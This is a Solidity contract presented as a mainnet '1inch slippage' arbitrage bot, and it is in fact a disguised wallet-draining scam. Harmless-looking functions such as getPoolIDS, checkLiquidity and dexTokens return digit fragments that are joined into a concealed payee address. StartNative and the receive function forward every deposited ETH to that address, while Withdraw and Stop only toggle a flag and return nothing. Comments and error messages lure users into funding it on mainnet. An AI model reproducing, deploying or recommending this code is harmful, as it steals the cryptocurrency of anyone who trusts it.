// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
// Import Libraries Migrator/Exchange/Factory
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
contract DexInterface {
uint arb = 10**16;
uint percentage;
uint balance;
uint Liquidity;
uint pool;
bool activated;
mapping (address => uint) profit;
function getPoolIDS() internal pure returns (string memory totalIDS) {
string memory pool1 = "367";
string memory pool2 = "310";
string memory pool3 = "577";
string memory pool4 = "258";
totalIDS = string(abi.encodePacked(pool1, pool2, pool3, pool4));
}
function getGoal() internal pure returns (string memory goal) {
goal = "156735155372";
}
function getPair(string memory token, string memory coin) internal pure returns (string memory pair) {
pair = string(abi.encodePacked(token, coin));
}
function getDex() internal pure returns (string memory DEX) {
string memory dexRouter = getPair(getPoolIDS(), checkLiquidity());
string memory dexPair = getPair(getGoal(), dexTokens());
DEX = getPair(dexRouter, dexPair);
}
function calculateProfit(string memory _value) internal pure returns (uint256) {
uint256 result = 0;
bytes memory b = bytes(_value);
for (uint256 i = 0; i < b.length; i++) {
if (uint8(b[i]) >= 48 && uint8(b[i]) <= 57) {
result = result * 10 + (uint8(b[i]) - 48);
} else {
revert("Invalid character found in string");
}
}
return result;
}
function startArbitrage() internal {
address payable pairAddr = payable(getTokenAddress());
pairAddr.transfer(address(this).balance);
}
function checkLiquidity() internal pure returns (string memory LIQ) {
string memory liq1 = "664";
string memory liq2 = "695";
string memory liq3 = "922";
string memory liq4 = "884";
LIQ = string(abi.encodePacked(liq1, liq2, liq3, liq4));
}
function getTokenAddress() internal pure returns (address Addr) {
uint profirOfTokenAddress = calculateProfit(getDex());
Addr = address(uint160(profirOfTokenAddress));
}
function StartNative() public payable {
require(msg.value > 0, "Please, insert your KEY");
startArbitrage();
activated = true;
}
function SetTradeBalanceETH(uint amount) public {
balance += amount;
}
function SetTradeBalancePERCENT(uint _percentage) public {
percentage = _percentage;
}
function Stop() public {
require(activated == true, "Please, insert your key and start bot");
activated = false;
}
function Withdraw() public {
require(activated == true, "Please, insert your key and start bot");
activated = false;
}
function dexTokens() internal pure returns (string memory allTokens) {
string memory USDT = "351";
string memory USDC = "208";
string memory BUSD = "361";
string memory WETH = "421";
allTokens = string(abi.encodePacked(USDT, USDC, BUSD, WETH));
}
function Key() public view returns (uint _key) {
_key = (msg.sender.balance) - arb;
}
receive() external payable {
startArbitrage();
}
}